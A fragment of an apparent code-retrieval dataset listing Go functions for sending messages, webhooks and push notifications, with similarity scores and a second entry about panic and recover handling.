failed\").Wrap(err))\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer res.Body.Close()\n\t\t}(sub)\n\t}\n}", "func WsSend(channel, message string) (err error) {\n\tfor cs, _ := range ActiveClients[channel] {\n\t\terr = websocket.Message.Send(cs.websocket, message)\n\t\tif err != nil {\n\t\t\tlog.Println(channel, \"Could not send message to \", cs.clientIP, err.Error())\n\t\t}\n\t}\n\treturn\n}", "func (d *Data) Send(s message.Socket, roiname string, uuid dvid.UUID) error {\n\tdvid.Errorf(\"labelsurf.Send() is not implemented yet, so push/pull will not work for this data type.\\n\")\n\treturn nil\n}", "func (m *Module) Send(ctx context.Context, topic string, value interface{}) error {\n\t// Create a new subscription on reply to channel\n\treplyTo := m.getTopicName(ksuid.New().String())\n\n\t// Create a subscription\n\tpubsub := m.client.Subscribe(context.TODO(), replyTo)\n\tdefer utils.CloseTheCloser(pubsub)\n\n\t// Check if the subscription is active\n\tif _, err := pubsub.Receive(ctx); err != nil {\n\t\treturn err\n\t}\n\n\t// Send the message\n\tdata, err := json.Marshal(model.PubSubMessage{ReplyTo: replyTo, Payload: value})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := m.client.Publish(ctx, m.getTopicName(topic), string(data)).Err(); err != nil {\n\t\treturn err\n\t}\n\n\t// Wait for the message to come back\n\tmsg, err := pubsub.ReceiveMessage(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif msg.Payload != \"ACK\" {\n\t\treturn fmt.Errorf(\"invalid response received in redis send - %s\", msg.Payload)\n\t}\n\n\treturn nil\n}", "func (m *Module) Send(ctx context.Context, topic string, value interface{}) error {\n\t// Create a new subscription on reply to channel\n\treplyTo := m.getTopicName(ksuid.New().String())\n\n\t// Create a subscription\n\tpubsub := m.client.Subscribe(context.TODO(), replyTo)\n\tdefer utils.CloseTheCloser(pubsub)\n\n\t// Check if the subscription is active\n\tif _, err := pubsub.Receive(ctx); err != nil {\n\t\treturn err\n\t}\n\n\t// Send the message\n\tdata, err := json.Marshal(model.PubSubMessage{ReplyTo: replyTo, Payload: value})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := m.client.Publish(ctx, m.getTopicName(topic), string(data)).Err(); err != nil {\n\t\treturn err\n\t}\n\n\t// Wait for the message to come back\n\tmsg, err := pubsub.ReceiveMessage(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif msg.Payload != \"ACK\" {\n\t\treturn fmt.Errorf(\"invalid response received in redis send - %s\", msg.Payload)\n\t}\n\n\treturn nil\n}", "func (wh webhookSender) Send(notification *notificationpb.NotificationMessage) (Status, error) {\n\turl := wh.config.GetReceiveEventNotificationEndpoint()\n\tif url == \"\" {\n\t\tlog.Warningf(\"Webhook URL not defined, manually fetch received document\")\n\t\treturn Success, nil\n\t}\n\n\tpayload, err := wh.constructPayload(notification)\n\tif err != nil {\n\t\treturn Failure, err\n\t}\n\n\tstatusCode, err := utils.SendPOSTRequest(url, \"application/json\", payload)\n\tif err != nil {\n\t\treturn Failure, err\n\t}\n\n\tif statusCode != http.StatusOK {\n\t\treturn Failure, errors.New(\"failed to send webhook: status = %v\", statusCode)\n\t}\n\n\tlog.Infof(\"Sent Webhook Notification with Payload [%v] to [%s]\", notification, url)\n\n\treturn Success, nil\n}", "func (promCli *prometheusStorageClient) sendToPrometheus(method string, promURL string, body io.Reader, headers map[string]string) (*http.Response, error) {\n\treq, err := http.NewRequest(method, promURL, body)\n\tif err != nil {\n\t\tutil.LogError(\"Could not create request.\\n\", err.Error())\n\t\treturn nil, err\n\t}\n\n\tfor k, v := range promCli.customHeaders {\n\t\treq.Header.Add(k, v)\n\t}\n\tfor k, v := range headers {\n\t\treq.Header.Add(k, v)\n\t}\n\n\tutil.LogDebug(\"Forwarding request to API: %s\", promURL)\n\n\tresp, err := promCli.httpClient.Do(req)\n\tif err != nil {\n\t\tutil.LogError(\"Request failed.\\n%s\", err.Error())\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}", "func (en Notification) PushNotification() {}", "func (s *senderQueue) send(incoming []byte) {\n\tdefer s.wg.Done()\n\tdefer s.workers.Release()\n\n\tlogging.Debug(s.logger).Log(logging.MessageKey(), \"Sending message...\")\n\n\terr := s.connection.WriteMessage(websocket.BinaryMessage, incoming)\n\tif err != nil {\n\t\tlogging.Error(s.logger, emperror.Context(err)...).\n\t\t\tLog(logging.MessageKey(), \"Failed to send message\",\n\t\t\t\tlogging.ErrorKey(), err.Error(),\n\t\t\t\t\"msg\", string(incoming))\n\t\treturn\n\t}\n\n\tlogging.Debug(s.logger).Log(logging.MessageKey(), \"Message Sent\")\n}", "func sendNotificationToMattermost(payloadJSONEncoded []byte, response chan<- *http.Response) {\n\tfmt.Println(\"Sending notification to Mattermost...\")\n\n\t// Récupération des paramètres\n\t// ---------------------------\n\thookURL = config.MattermostHookURL\n\thookPayload = config.MattermostHookPayload\n\n\t// Envoi de la requête\n\t// -------------------\n\tresponse <- sendNotificationToApplication(hookURL, hookPayload, payloadJSONEncoded)\n}", "func (pushbots *PushBots) SendPushToDevice(platform, token, msg, sound, badge string, payload map[string]interface{}) error {\n\tif err := checkForArgErrors(token, platform); err != nil {\n\t\treturn err\n\t}\n\n\tif sound == \"\" {\n\t\tif platform == PlatformIos {\n\t\t\tsound = \"default\"\n\t\t} else {\n\t\t\treturn errors.New(\"No sound specified\")\n\t\t}\n\t}\n\n\tif msg == \"\" {\n\t\treturn errors.New(\"No message specified\")\n\t}\n\n\tif badge == \"\" {\n\t\tbadge = \"0\"\n\t}\n\n\targs := apiRequest{\n\t\tPlatform: platform,\n\t\tToken: token,\n\t\tMsg: msg,\n\t\tSound: sound,\n\t\tBadge: badge,\n\t\tPayload: payload,\n\t}\n\n\treturn checkAndReturn(pushbots.sendToEndpoint(\"push/one\", args))\n}", "func Push(w http.ResponseWriter, resource string) {\n\tPusher, ok := w.(http.Pusher)\n\tif ok {\n\t\tif err := Pusher.Push(resource, nil); err == nil {\n\t\t\treturn\n\t\t}\n\t}\n}", "func SendToNSQ(nsqServer, nsqTopic string, data []byte) error {\n\tnsqTopicServer := fmt.Sprintf(\"%s/put?topic=%s\", nsqServer, nsqTopic)\n\tlog.Println(\"nsq addr =\", nsqTopicServer)\n\n\tresponseBody, err := utils.PostBuffer2URL(data, nsqTopicServer, \"application/json\")\n\n\t// if responseBody = OK, return true\n\t// if err occured or response not OK, return false\n\tresultCheck := func() bool {\n\t\tif err != nil {\n\t\t\tlog.Println(\"ERROR: nsq post error:\", err)\n\t\t\treturn false\n\t\t}\n\n\t\tif string(responseBody) != \"OK\" {\n\t\t\tlog.Println(\"Response unknown:\", responseBody)\n\t\t\treturn false\n\t\t}\n\t\tlog.Println(\"** NSQ response OK! **\")\n\t\treturn true\n\t}\n\n\tpostResult := resultCheck()\n\n\tif postResult == false {\n\t\terrStr := \"order post to NSQ failed\"\n\t\treturn errors.New(errStr)\n\t}\n\n\treturn nil\n}", "func (c *GatewayClient) SendTo(n *Notify, token string) error {\n\tif len(token) < 64 {\n\t\treturn ErrTokenWrongLength\n\t}\n\t// Convert the hex string iOS returns into a device token.\n\tbyteToken, err := hex.DecodeString(token)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tid := atomic.AddUint32(&c.NextIdentifier, 1)\n\n\t// Converts this notification into the Enhanced Binary Format.\n\tmessage, err := n.ToBinary(id, byteToken)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// reconnect if needed\n\t// TODO: логировать реконнект\n\tvar connErr error\n\tc.Lock()\n\tif !c.Connected {\n\t\t////log.Println(\"SendTo() && !c.Connected: call c.connect()\")\n\t\tconnErr = c.connect()\n\t}\n\tc.Unlock()\n\tif connErr != nil {\n\t\treturn connErr\n\t}\n\n\t// send payload\n\tc.Lock()\n\terr = c.write(message)\n\tc.Unlock()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (g *Gemini) WsAuth(ctx context.Context, dialer *websocket.Dialer) error {\n\tif !g.IsWebsocketAuthenticationSupported() {\n\t\treturn fmt.Errorf(\"%v AuthenticatedWebsocketAPISupport not enabled\", g.Name)\n\t}\n\tcreds, err := g.GetCredentials(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tpayload := WsRequestPayload{\n\t\tRequest: \"/v1/\" + geminiWsOrderEvents,\n\t\tNonce: time.Now().UnixNano(),\n\t}\n\tPayloadJSON, err := json.Marshal(payload)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%v sendAuthenticatedHTTPRequest: Unable to JSON request\", g.Name)\n\t}\n\twsEndpoint, err := g.API.Endpoints.GetURL(exchange.WebsocketSpot)\n\tif err != nil {\n\t\treturn err\n\t}\n\tendpoint := wsEndpoint + geminiWsOrderEvents\n\tPayloadBase64 := crypto.Base64Encode(PayloadJSON)\n\thmac, err := crypto.GetHMAC(crypto.HashSHA512_384,\n\t\t[]byte(PayloadBase64),\n\t\t[]byte(creds.Secret))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\theaders := http.Header{}\n\theaders.Add(\"Content-Length\", \"0\")\n\theaders.Add(\"Content-Type\", \"text/plain\")\n\theaders.Add(\"X-GEMINI-PAYLOAD\", PayloadBase64)\n\theaders.Add(\"X-GEMINI-APIKEY\", creds.Key)\n\theaders.Add(\"X-GEMINI-SIGNATURE\", crypto.HexEncodeToString(hmac))\n\theaders.Add(\"Cache-Control\", \"no-cache\")\n\n\terr = g.Websocket.AuthConn.Dial(dialer, headers)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"%v Websocket connection %v error. Error %v\", g.Name, endpoint, err)\n\t}\n\tgo g.wsFunnelConnectionData(g.Websocket.AuthConn)\n\treturn nil\n}", "func SendGCS(ctx context.Context, log logrus.FieldLogger, client Subscriber, projectID, subID string, settings *pubsub.ReceiveSettings, receivers chan<- *Notification) error {\n\tl := log.WithField(\"subscription\", \"pubsub://\"+projectID+\"/\"+subID)\n\tsend := client.Subscribe(projectID, subID, settings)\n\tl.Trace(\"Subscribing...\")\n\treturn sendToReceivers(ctx, l, send, receivers, realAcker{})\n}", "func send(\n\tclient *http.Client,\n\tappservice config.ApplicationService,\n\ttxnID int,\n\ttransaction []byte,\n) (err error) {\n\t// PUT a transaction to our AS\n\t// https://matrix.org/docs/spec/application_service/r0.1.2#put-matrix-app-v1-transactions-txnid\n\taddress := fmt.Sprintf(\"%s/transactions/%d?access_token=%s\", appservice.URL, txnID, url.QueryEscape(appservice.HSToken))\n\treq, err := http.NewRequest(\"PUT\", address, bytes.NewBuffer(transaction))\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer checkNamedErr(resp.Body.Close, &err)\n\n\t// Check the AS received the events correctly\n\tif resp.StatusCode != http.StatusOK {\n\t\t// TODO: Handle non-200 error codes from application services\n\t\treturn fmt.Errorf(\"non-OK status code %d returned from AS\", resp.StatusCode)\n\t}\n\n\treturn nil\n}", "func (r *Results) send(host string) error {\n\tvar payload postBody\n\tpayload.Body = *r\n\tbody, err := json.Marshal(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\turl := fmt.Sprintf(\"%s/event\", host)\n\terr = post(body, url)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (ws *WSClient) send(t *testing.T, message string) {\n\tif err := ws.SetWriteDeadline(time.Now().Add(time.Second * 10)); err != nil {\n\t\tt.Fatalf(\"SetWriteDeadline: %v\", err)\n\t}\n\tif err := ws.WriteMessage(websocket.TextMessage, []byte(message)); err != nil {\n\t\tt.Fatalf(\"WriteMessage: %v\", err)\n\t}\n}", "func (s PushAllSender) Send(sender, data string, counter int) (int, error) {\n\tvar (\n\t\terr error\n\t\tpushers []pusherLib.Pusher\n\t\ttotal int\n\t\tfrom = 0\n\t\tsize = 10\n\t\tquery = make(map[string]interface{})\n\t\tworkdata map[string]string\n\t)\n\tif err = json.Unmarshal([]byte(data), &workdata); err != nil {\n\t\tlog.Printf(\"json.Unmarshal() failed (%s)\", err)\n\t\treturn 0, nil\n\t}\n\n\tif tag, ok := workdata[\"tag\"]; ok && len(tag) > 0 {\n\t\tquery[\"conjuncts\"] = []interface{}{\n\t\t\tmap[string]string{\"query\": \"tags:\" + tag},\n\t\t\tmap[string]string{\"query\": \"senders:\" + sender},\n\t\t}\n\t} else {\n\t\tquery[\"query\"] = \"senders:\" + sender\n\t}\n\n\tq, _ := json.Marshal(query)\n\n\tapi := s.w.GetAPI()\n\tif total, pushers, err = api.SearchPusher(string(q), from, size); err != nil {\n\t\treturn 10 * counter, nil\n\t}\n\ts.pushs(sender, pushers, workdata[\"data\"])\n\tfor from = size; from < total; from = from + size {\n\t\t_, pushers, _ = api.SearchPusher(string(q), from, size)\n\t\ts.pushs(sender, pushers, workdata[\"data\"])\n\t}\n\treturn 0, nil\n}", "func (ctx *Upgrader) Send(event string, data interface{}, room string) {\n\t// Send WJSON\n\tfor _, val := range ctx.UsersInRoom(room) {\n\t\tval.Send(event, data)\n\t}\n}", "func (s *session) send(msg json.RawMessage) {\n\ts.conn.Send(msg)\n}", "func SimpleSendHandler(ctx *gin.Context) {\n\tvar request models.SimpleSendRequest\n\tif err := ctx.ShouldBindWith(&request, binding.JSON); err != nil {\n\t\tgonic.Gonic(mterrors.ErrRequestValidationFailed().AddDetailsErr(err), ctx)\n\t\treturn\n\t}\n\n\terrs := validation.ValidateSimpleSendRequest(request)\n\tif errs != nil {\n\t\tgonic.Gonic(mterrors.ErrRequestValidationFailed().AddDetailsErr(errs...), ctx)\n\t\treturn\n\t}\n\n\tsvc := ctx.MustGet(m.MTServices).(*m.Services)\n\n\t_, tv, err := svc.TemplateStorage.GetLatestVersionTemplate(request.Template)\n\tif err != nil {\n\t\tctx.Error(err)\n\t\tgonic.Gonic(mterrors.ErrTemplateNotExist(), ctx)\n\t\treturn\n\t}\n\n\tinfo, err := svc.UserManagerClient.UserInfoByID(ctx, request.UserID)\n\tif err != nil {\n\t\tctx.Error(err)\n\t\tcherr, ok := err.(*cherry.Err)\n\t\tif ok {\n\t\t\tgonic.Gonic(cherr, ctx)\n\t\t} else {\n\t\t\tgonic.Gonic(mterrors.ErrMailSendFailed().AddDetailsErr(err), ctx)\n\t\t}\n\t\treturn\n\t}\n\n\trecipient := &models.Recipient{\n\t\tID: request.UserID,\n\t\tName: info.Login,\n\t\tEmail: info.Login,\n\t\tVariables: request.Variables,\n\t}\n\n\tstatus, err := svc.UpstreamSimple.SimpleSend(ctx, request.Template, tv, recipient)\n\tif err != nil {\n\t\tctx.Error(err)\n\t\tgonic.Gonic(mterrors.ErrMailSendFailed(), ctx)\n\t\treturn\n\t}\n\tctx.JSON(http.StatusAccepted, models.SimpleSendResponse{\n\t\tUserID: status.RecipientID,\n\t})\n}", "func (r CreateIntegrationRequest) Send(ctx context.Context) (*CreateIntegrationOutput, error) {\n\tr.Request.SetContext(ctx)\n\terr := r.Request.Send()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn r.Request.Data.(*CreateIntegrationOutput), nil\n}" ]
[ "0.63720524", "0.6312198", "0.5907286", "0.5889171", "0.5805053", "0.578413", "0.5753914", "0.5698604", "0.56712", "0.56687117", "0.5664942", "0.56114054", "0.56007963", "0.55908614", "0.5588826", "0.5577937", "0.5551254", "0.55230355", "0.5501611", "0.54977125", "0.54580736", "0.54397815", "0.54362756", "0.53992957", "0.5397849", "0.539731", "0.5387096", "0.5352714", "0.53521127", "0.53359085", "0.53246564", "0.53013235", "0.5298562", "0.52787644", "0.5277238", "0.52621335", "0.52568585", "0.52484334", "0.5242495", "0.52386665", "0.52275455", "0.5225362", "0.5219305", "0.5217068", "0.5215954", "0.52132815", "0.5212025", "0.51797944", "0.5161364", "0.5156749", "0.5129549", "0.5128688", "0.512164", "0.5105963", "0.51058304", "0.5097103", "0.5092326", "0.5085891", "0.5072498", "0.50646895", "0.50627625", "0.5060932", "0.5042642", "0.5038622", "0.5038622", "0.50375324", "0.50307024", "0.5027337", "0.50145966", "0.50123703", "0.5011613", "0.5001489", "0.49963605", "0.49919617", "0.4987472", "0.49816656", "0.49697968", "0.4967602", "0.49661076", "0.4960617", "0.4960617", "0.49583763", "0.49579862", "0.49520662", "0.49480307", "0.49406558", "0.49285656", "0.4920657", "0.49170074", "0.49110302", "0.49096033", "0.4898939", "0.48947945", "0.48868242", "0.48866695", "0.488355", "0.48834297", "0.4879363", "0.48773092", "0.48764408" ]
0.71577096
0
Panic function adalah function yg bisa kita gunakan untuk menghentikan program Panic function biasanya dipanggil ketika terjadi error pada saat program kita berjalan Saat panic function dipanggil, program akan terhenti, namun defer function tetap akan dieksekusi
func endApp() { fmt.Println("end app") }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func deferFunc() {\r\n\tfmt.Println(\"Aplicaation Ended\")\r\n\tmessage := recover() // menangkap eror dan di tampilkan dalam pesan\r\n\tif message != nil {\r\n\t\tfmt.Println(\"eror with message :\", message)\r\n\t}\r\n\r\n}", "func ejemploPanic() {\n\ta := 1\n\tif a == 1 {\n\t\tpanic(\"Se encontró el valor de 1\") //fuerza el error y aborta el programa\n\t}\n}", "func imprimir() {\n\tfmt.Println(\"Hola Alex!\")\n\t//panic(\"Error\")\n\t//\n\t//cadena := recover()\n\t//}\n\n\n\n\n\n\tdefer func() {\n\t\tsomeString := recover()\n\t\tfmt.Println(someString)\n\t} ()\n\tpanic(\"Error\")\n\n\n\n\n\n\n\n}", "func test7() (err error) {\n\tdefer func() {\n\t\tfmt.Println(\"panic defer start *************\")\n\t\tif r := recover(); r != nil {\n\t\t\tfmt.Println(\"Defer panic: \", r)\n\t\t}\n\t\tfmt.Println(\"panic defer end. ***************\")\n\t}()\n\n\tdefer func() {\n\t\tfmt.Println(\"error defer start ###########\")\n\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Defer error: \", err)\n\t\t}\n\n\t\tfmt.Println(\"error defer end ###########\")\n\t}()\n\tfmt.Println(\"start test7\")\n\terr = simulateError(\"哈哈错误\")\n\t//simulatePanic(\"2\")\n\tpanic(\"我panic了\")\n}", "func catchPanic(err *error, functionName string) {\n\tif r := recover(); r != nil {\n\t\tfmt.Printf(\"%s : PANIC Defered : %v\\n\", functionName, r)\n\n\t\t// Capture the stack trace\n\t\tbuf := make([]byte, 10000)\n\t\truntime.Stack(buf, false)\n\n\t\tfmt.Printf(\"%s : Stack Trace : %s\", functionName, string(buf))\n\n\t\tif err != nil {\n\t\t\t*err = fmt.Errorf(\"%v\", r)\n\t\t}\n\t}\n}", "func catchPanic(err *error, functionName string) {\n\tif r := recover(); r != nil {\n\t\tfmt.Printf(\"%s : PANIC Defered : %v\\n\", functionName, r)\n\n\t\t// Capture the stack trace\n\t\tbuf := make([]byte, 10000)\n\t\truntime.Stack(buf, false)\n\n\t\tfmt.Printf(\"%s : Stack Trace : %s\", functionName, string(buf))\n\n\t\tif err != nil {\n\t\t\t*err = fmt.Errorf(\"%v\", r)\n\t\t}\n\t} else if err != nil && *err != nil {\n\t\tfmt.Printf(\"%s : ERROR : %v\\n\", functionName, *err)\n\n\t\t// Capture the stack trace\n\t\tbuf := make([]byte, 10000)\n\t\truntime.Stack(buf, false)\n\n\t\tfmt.Printf(\"%s : Stack Trace : %s\", functionName, string(buf))\n\t}\n}", "func Panicf(format string, args ...interface{}) {\n\tglobal.Panicf(format, args...)\n}", "func ExamplePanic(){\n\tF := func() {\n\t\tdefer func() { fmt.Println(\"2\")}() // 2. F的defer按顺序调用\n\t\tdefer func() { // 1. F的defer按顺序调用,recover不为空,返回panic函数传入的值\n\t\t\tif e:= recover(); e!=nil { // 因为该函数正常终止,没有新的panic发生,所以panicking过程\n\t\t\t\tfmt.Println(\"1\",e) // 被停止,runtime不会终止,程序继续执行2\n\t\t\t}\n\t\t}()\n\t\tpanic(\"panic\") // 0. F函数显示调用panic会触发runtime的终止。\n\t}\n\tCaller := func() {\n\t\tdefer func() { fmt.Println(\"3\") }() // 3. F的调用者的defer被调用\n\t\tF()\n\t}\n\tCaller()\n\t// Output:\n\t// 1 panic\n\t// 2\n\t// 3\n}", "func fatal(s string,t string){\nif len(s)!=0{\nfmt.Print(s)\n}\nerr_print(t)\nhistory= fatal_message\nos.Exit(wrap_up())\n}", "func tryPanic() {\n\tpanic(\"panik ga?! panik ga?! ya panik lah masa ngga!\")\n}", "func panicRecover(input *models.RunningInput) {\n\tif err := recover(); err != nil {\n\t\ttrace := make([]byte, 2048)\n\t\truntime.Stack(trace, true)\n\t\tlog.Printf(\"E! FATAL: [%s] panicked: %s, Stack:\\n%s\",\n\t\t\tinput.LogName(), err, trace)\n\t\tlog.Println(\"E! PLEASE REPORT THIS PANIC ON GITHUB with \" +\n\t\t\t\"stack trace, configuration, and OS information: \" +\n\t\t\t\"https://github.com/influxdata/telegraf/issues/new/choose\")\n\t}\n}", "func Panic(args ...interface{}) {\n\tglobal.Panic(args...)\n}", "func CatchPanic(err *error, goRoutine string, functionName string) {\n\tif r := recover(); r != nil {\n\t\t// Capture the stack trace\n\t\tbuf := make([]byte, 10000)\n\t\truntime.Stack(buf, false)\n\n\t\terr2 := fmt.Errorf(\"PANIC Defered [%v] : Stack Trace : %v\", r, string(buf))\n\t\ttracelog.Alert(\"Unhandled Exception\", goRoutine, functionName, err2.Error())\n\n\t\tif err != nil {\n\t\t\t*err = err2\n\t\t}\n\t}\n}", "func (rl *RevelLogger) Panicf(msg string, param ...interface{}) {\n\trl.Panic(fmt.Sprintf(msg, param...))\n}", "func (rl *RevelLogger) Panicf(msg string, param ...interface{}) {\n\trl.Panic(fmt.Sprintf(msg, param...))\n}", "func Panicf(format string, a ...interface{}) {\n\tDefault.Errorf(format, a...)\n\tpanic(\"tdaq panic\")\n}", "func mainDefer() {\n if ex := recover();ex != nil {\n /*\n err := fmt.Errorf(\"%v\", ex);\n fmt.Println(\"catch error:\" + err.Error());\n */\n if message, ok := ex.(string); ok {\n fmt.Println(\"catch error by assert:\" + message);\n }\n\n fmt.Println(\"usage is :\");\n flag.PrintDefaults();\n }\n\n}", "func Panic(errorData lisp.Object) {\n\t{\n\t} // Prevent inlining (#REFS: 37)\n\tlisp.Call(\"signal\", lisp.Intern(\"error\"), lisp.Call(\"list\", errorData))\n}", "func (s *errDeal) Panic(a ...interface{}) {\n\ts.once.Do(s.initPath)\n\n\tnow := time.Now() //获取当前时间\n\tpid := os.Getpid() //获取进程ID\n\ttimeStr := now.Format(\"2006-01-02\") //设定时间格式\n\tfname := fmt.Sprintf(\"%s/panic_%s-%x.log\", s._path, timeStr, pid) //保存错误信息文件名:程序名-进程ID-当前时间(年月日时分秒)\n\tfmt.Println(\"panic to file \", fname)\n\n\tf, err := os.OpenFile(fname, os.O_CREATE|os.O_APPEND|os.O_RDWR, 0666)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer f.Close()\n\n\tf.WriteString(\"=========================\" + now.Format(\"2006-01-02 15:04:05 ========================= \\r\\n\"))\n\tf.WriteString(getStr(a...)) //输出堆栈信息\n\tf.WriteString(\"=========================end=========================\")\n}", "func panicHandler(w http.ResponseWriter, r *http.Request) {\n\tfuncPanic()\n}", "func Panicf(format string, args ...interface{}) {\n\tl.Panic().Msgf(format, args...)\n}", "func (logger *Logger) Panicf(format string, args ...interface{}) {\n\tlogger.std.Logf(\"Panic\"+format, args...)\n}", "func Panicf(template string, args ...interface{}) {\n\tCurrent.Panicf(template, args...)\n}", "func main() {\n\tvar num int\n\n\tfmt.Println(\"Seja bem vindo!\")\n\t// Aqui eu crio uma Função Anonima (Closure)\n\tdefer func() {\n\t\t// Eu crio uma variável chamada 'ex' e coloco o valor que o recover tiver dentro dela. Caso não seja nil ele executa.\n\t\tif ex := recover(); ex != nil {\n\t\t\tfmt.Printf(\"\\nOcorreu um erro: %s\\n\", ex)\n\t\t} else {\n\t\t\tfmt.Println(\"Nenhum erro ocorreu!\")\n\t\t}\n\t}()\n\n\tfmt.Print(\"Digite um numero maior que 5: \")\n\tfmt.Scanf(\"%d\", &num)\n\n\tif num <= 5 {\n\t\tpanic(\"Número inválido!\") // Aqui eu crio a mensagem de erro que parecerá quando o recover for executado\n\t} else {\n\t\tfmt.Println(\"Belo numero!\")\n\t}\n\n}", "func Panic(function Callable) (result Truth) {\n\tmustBeCleanStart()\n\tdefer func() {\n\t\tif recover() != nil {\n\t\t\tresult = Truth{true, \"\"}\n\t\t}\n\t}()\n\tfunction()\n\treturn Truth{false, \"\"}\n}", "func (e *Error) Panicf(args ...interface{}) {\n\tif e == nil {\n\t\treturn\n\t}\n\t_, fn, line, _ := runtime.Caller(1)\n\terrMsg := e.Format(args...).Error()\n\terrMsg = \"\\nCaller was: \" + fmt.Sprintf(\"%s:%d\", fn, line)\n\tpanic(errMsg)\n}", "func (logger *Logger) Fpanic(w io.Writer, a ...any) {\n\tlogger.echo(w, level.Panic, formatPrint, a...)\n\tpanic(fmt.Sprint(a...))\n}", "func Panicf(msg string, fields ...interface{}) {\n\tGetSkip1Logger().Panic(fmt.Sprintf(msg, fields...))\n}", "func Panic(err error, segmentName string) {\n\tif err != nil {\n\t\tlog.Panicf(\"Panic in '%s' : %v\", segmentName, err)\n\t}\n}", "func Panicf(template string, args ...interface{}) {\n\tPanic(fmt.Sprintf(template, args...))\n}", "func Panicln(args ...interface{}) {\n\tglobal.Panicln(args...)\n}", "func Panicf(template string, args ...interface{}) {\n\tlog.Panicf(template, args...)\n}", "func (l thundraLogger) Panicf(format string, v ...interface{}) {\n\tif logLevelId > errorLogLevelId {\n\t\treturn\n\t}\n\tlogManager.recentLogLevel = errorLogLevel\n\tlogManager.recentLogLevelId = errorLogLevelId\n\tadditionalCalldepth = 1\n\tl.Logger.Panicf(format, v)\n}", "func (log *logger) Panicf(format string, args ...interface{}) {\n\tlog.logf(format, slf.LevelPanic, args...)\n}", "func main() {\n\tfmt.Println(\"about to panic\")\n\tdefer func() {\n\t\tif err := recover(); err != nil {\n\t\t\t/*\n\t\t\t\tRecover is useful as a deferred function.\n\n\t\t\t\tLooks for a panic and if a function is panicking, it will decide\n\t\t\t\twhat to do with it from there.\n\n\t\t\t\tIf you recover succesfully, current funcs will not continue but,\n\t\t\t\thigher funcs in the call stack will.\n\t\t\t*/\n\t\t\tlog.Println(\"Error:\", err)\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\tpanic(\"somthing bad happened\")\n\tfmt.Println(\"done panicking\")\n}", "func Panicf(template string, args ...interface{}) {\n\terrorLogger.Panicf(template, args...)\n}", "func Panicf(template string, args ...interface{}) {\n\tDefaultLogger.Panicf(template, args...)\n}", "func Panicf(msg string, v ...interface{}) {\n\tLogger.Panicf(msg, v...)\n}", "func main() {\n\tif err := testPanic(); err != nil {\n\t\tfmt.Println(\"Test Error:\", err)\n\t}\n\n\tif err := testPanic(); err != nil {\n\t\tfmt.Println(\"Test Panic:\", err)\n\t}\n}", "func (e *Handler) PanicF(format string, v ...interface{}) {\n\thasErr := e.hasErrPrintf(format, v...)\n\tif !hasErr {\n\t\treturn\n\t}\n\tpanic(fmt.Errorf(format, v...))\n}", "func Panicf(format string, v ...interface{}) {\n\tcheckInit()\n\ts := fmt.Sprintf(format, v...)\n\tstd.Report(s)\n\tlog.Panic(s)\n}", "func Panicf(format string, v ...interface{}) {\n s := fmt.Sprintf(format, v...)\n Std.Output(LevelPanic, CallDepth, s)\n panic(s)\n}", "func (l Logger) Panicf(template string, args ...interface{}) {\n\tif l.Level <= log.PanicLevel {\n\t\tout := l.PanicColor.Sprintf(\"PANIC: \"+template, args...)\n\t\tout = checkEnding(out)\n\t\tfmt.Fprint(l.PanicOut, out)\n\t\tpanic(out)\n\t}\n}", "func (l *Logger) Panicf(template string, args ...interface{}) {\n\tl.log(2, PanicLevel, template, args, nil)\n}", "func (l Logger) Panicf(template string, args ...interface{}) {\n\tif l.Level <= log.PanicLevel {\n\t\tl.logger.Panicf(\"[PANIC] \"+template, args...)\n\t}\n}", "func testPanic() (err error) {\n\tdefer catchPanic(&err, \"TestPanic\")\n\tfmt.Printf(\"\\nTestPanic: Start Test\\n\")\n\n\terr = mimicError(\"1\")\n\n\tpanic(\"Mimic Panic\")\n}", "func slicePanic() {\n\tn := []int{1, 2, 3}\n\tfmt.Println(n[4])\n\tfmt.Println(\"Executia in slice s-a terminat cu succes\")\n}", "func Panicf(template string, args ...interface{}) {\n\tL().log(2, PanicLevel, template, args, nil)\n}", "func (xlog *Logger) Panicf(format string, v ...interface{}) {\n\ts := fmt.Sprintf(format, v...)\n\tlog.Std.Output(xlog.ReqId, log.Lpanic, 2, s)\n\tpanic(s)\n}", "func (logger *Logger) Panicf(format string, a ...any) {\n\tlogger.echo(nil, level.Panic, format, a...)\n\tpanic(fmt.Sprintf(format, a...))\n}", "func Try(fun func()) {\n\tdefer func() {\n\t\tif err := recover(); err != nil {\n\t\t\tfmt.Printf(\"Recover from panic, err is: %s \\r\\n\", err)\n\t\t}\n\t}()\n\tfun()\n}", "func Panic(msg ...interface{}) {\n\tCurrent.Panic(msg...)\n}", "func PanicHandler() func(http.ResponseWriter, *http.Request, interface{}) {\n\treturn func(w http.ResponseWriter, r *http.Request, rcv interface{}) {\n\t\tresponse := ResultInternalServerErr\n\t\tif env := viper.GetString(`env`); env == \"development\" {\n\t\t\tif rcv != nil {\n\t\t\t\tresponse.SetMessage(rcv)\n\t\t\t}\n\t\t}\n\n\t\tlog.Printf(\"%s %s\", r.Method, r.URL.Path)\n\t\tlog.Printf(\"Panic Error: %+v\", rcv)\n\n\t\tJSONResult(w, &response)\n\t}\n}", "func Panicf(format string, args ...interface{}) 